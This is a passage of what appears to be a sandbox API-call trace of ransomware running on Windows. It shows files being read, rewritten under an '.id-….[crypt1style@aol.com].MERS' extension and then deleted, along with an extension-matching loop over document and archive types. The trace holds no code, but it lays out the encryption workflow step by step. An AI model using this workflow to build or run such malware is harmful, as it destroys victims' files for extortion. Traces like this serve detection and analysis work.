returned 63 [0050.302] lstrlenW (lpString=".jpg") returned 4 [0050.302] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.302] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0050.302] lstrlenW (lpString="odffilt.dll") returned 11 [0050.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.698] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1312656) returned 1 [0050.698] CloseHandle (hObject=0x210) returned 1 [0050.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0050.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.699] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.699] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0050.699] GetLastError () returned 0x0 [0050.699] ReadFile (in: hFile=0x210, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0050.854] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0050.874] ReadFile (in: hFile=0x210, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x407a0, lpOverlapped=0x0) returned 1 [0050.998] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x407b0, lpOverlapped=0x0) returned 1 [0051.061] ReadFile (in: hFile=0x210, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.062] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.062] SetEndOfFile (hFile=0x1ec) returned 1 [0051.062] CloseHandle (hObject=0x1ec) returned 1 [0051.062] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.062] SetEndOfFile (hFile=0x210) returned 1 [0051.065] CloseHandle (hObject=0x210) returned 1 [0051.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.065] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0051.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.065] lstrlenW (lpString=".doc") returned 4 [0051.065] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.065] lstrlenW (lpString=".docx") returned 5 [0051.066] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0051.066] lstrlenW (lpString=".pdf") returned 4 [0051.066] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.066] lstrlenW (lpString=".xls") returned 4 [0051.066] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.066] lstrlenW (lpString=".xlsx") returned 5 [0051.066] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0051.066] lstrlenW (lpString=".ppt") returned 4 [0051.066] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.066] lstrlenW (lpString=".zip") returned 4 [0051.066] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.066] lstrlenW (lpString=".rar") returned 4 [0051.066] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.066] lstrlenW (lpString=".bz2") returned 4 [0051.066] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.066] lstrlenW (lpString=".7z") returned 3 [0051.066] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.066] lstrlenW (lpString=".dbf") returned 4 [0051.066] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.066] lstrlenW (lpString=".1cd") returned 4 [0051.066] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.066] lstrlenW (lpString=".jpg") returned 4 [0051.066] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.066] lstrlenW (lpString=".doc") returned 4 [0051.066] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.066] lstrlenW (lpString=".docx") returned 5 [0051.067] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0051.067] lstrlenW (lpString=".pdf") returned 4 [0051.067] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.067] lstrlenW (lpString=".xls") returned 4 [0051.067] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.067] lstrlenW (lpString=".xlsx") returned 5 [0051.067] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0051.067] lstrlenW (lpString=".ppt") returned 4 [0051.067] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.067] lstrlenW (lpString=".zip") returned 4 [0051.067] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.067] lstrlenW (lpString=".rar") returned 4 [0051.067] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.067] lstrlenW (lpString=".bz2") returned 4 [0051.067] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.067] lstrlenW (lpString=".7z") returned 3 [0051.067] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.067] lstrlenW (lpString=".dbf") returned 4 [0051.067] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.067] lstrlenW (lpString=".1cd") returned 4 [0051.067] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.067] lstrlenW (lpString=".jpg") returned 4 [0051.067] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.067] lstrcmpiW (lpString1=".FLT", lpString2=".MERS") returned -1 [0051.067] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0051.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.010] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=241024) returned 1 [0052.010] CloseHandle (hObject=0x204) returned 1 [0052.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0052.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0052.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.010] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.010] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0052.427] GetLastError () returned 0x0 [0052.427] ReadFile (hFile=0x204, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0) Thread: id = 15 os_tid = 0xa0c [0033.672] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x3870480 [0033.673] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x3880488 [0033.673] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640490 [0033.673] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x6) returned 0x6430d0 [0033.673] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6404a8 [0033.673] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x3b60020 [0033.673] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6404c0 [0033.673] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6404c0, Size=0x20) returned 0x66f5c0 [0033.673] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6404c0 [0033.673] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x6404c0, Size=0x20) returned 0x66f610 [0033.674] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.674] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0033.674] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff58 | out: OldValue=0x300ff58*=0x0) returned 1 [0033.674] lstrlenW (lpString="kernel32.dll") returned 12 [0033.674] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f5c0 | out: hHeap=0x5f0000) returned 1 [0033.674] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.674] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f610 | out: hHeap=0x5f0000) returned 1 [0033.674] Sleep (dwMilliseconds=0x64) [0033.905] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0033.905] lstrlenW (lpString="Setup.xml") returned 9 [0033.905] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0033.928] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2296) returned 1 [0033.929] CloseHandle (hObject=0x19c) returned 1 [0033.929] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0033.929] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0033.929] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.929] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0033.929] GetLastError () returned 0x0 [0033.929] ReadFile (in: hFile=0x19c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0033.994] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x900, lpOverlapped=0x0) returned 1 [0033.995] ReadFile (in: hFile=0x19c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0033.995] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0033.996] SetEndOfFile (hFile=0x1a0) returned 1 [0033.996] CloseHandle (hObject=0x1a0) returned 1 [0033.996] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.996] SetEndOfFile (hFile=0x19c) returned 1 [0033.997] CloseHandle (hObject=0x19c) returned 1 [0033.997] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0033.999] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.000] lstrlenW (lpString=".doc") returned 4 [0034.000] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.000] lstrlenW (lpString=".docx") returned 5 [0034.000] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.000] lstrlenW (lpString=".pdf") returned 4 [0034.000] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.000] lstrlenW (lpString=".xls") returned 4 [0034.000] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.000] lstrlenW (lpString=".xlsx") returned 5 [0034.000] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.000] lstrlenW (lpString=".ppt") returned 4 [0034.000] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.000] lstrlenW (lpString=".zip") returned 4 [0034.000] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.000] lstrlenW (lpString=".rar") returned 4 [0034.000] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.000] lstrlenW (lpString=".bz2") returned 4 [0034.000] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.000] lstrlenW (lpString=".7z") returned 3 [0034.000] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.000] lstrlenW (lpString=".dbf") returned 4 [0034.000] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.000] lstrlenW (lpString=".1cd") returned 4 [0034.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.001] lstrlenW (lpString=".jpg") returned 4 [0034.001] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.001] lstrlenW (lpString=".doc") returned 4 [0034.001] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.001] lstrlenW (lpString=".docx") returned 5 [0034.001] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.001] lstrlenW (lpString=".pdf") returned 4 [0034.001] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.001] lstrlenW (lpString=".xls") returned 4 [0034.001] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.001] lstrlenW (lpString=".xlsx") returned 5 [0034.001] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.001] lstrlenW (lpString=".ppt") returned 4 [0034.001] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.001] lstrlenW (lpString=".zip") returned 4 [0034.001] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.001] lstrlenW (lpString=".rar") returned 4 [0034.001] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.001] lstrlenW (lpString=".bz2") returned 4 [0034.001] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.001] lstrlenW (lpString=".7z") returned 3 [0034.001] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.001] lstrlenW (lpString=".dbf") returned 4 [0034.001] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.001] lstrlenW (lpString=".1cd") returned 4 [0034.001] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.002] lstrlenW (lpString=".jpg") returned 4 [0034.002] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.002] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.002] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0034.002] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.002] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1450) returned 1 [0034.002] CloseHandle (hObject=0x19c) returned 1 [0034.002] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0034.002] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.002] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.002] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.002] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.002] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0034.003] GetLastError () returned 0x0 [0034.003] ReadFile (in: hFile=0x19c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0034.156] WriteFile (in: hFile=0x1ac, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.157] ReadFile (in: hFile=0x19c, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.157] WriteFile (in: hFile=0x1ac, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0034.157] SetEndOfFile (hFile=0x1ac) returned 1 [0034.157] CloseHandle (hObject=0x1ac) returned 1 [0034.158] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.158] SetEndOfFile (hFile=0x19c) returned 1 [0034.159] CloseHandle (hObject=0x19c) returned 1 [0034.159] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.159] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0034.159] lstrlenW (lpString="C:\\MSOCache\\All 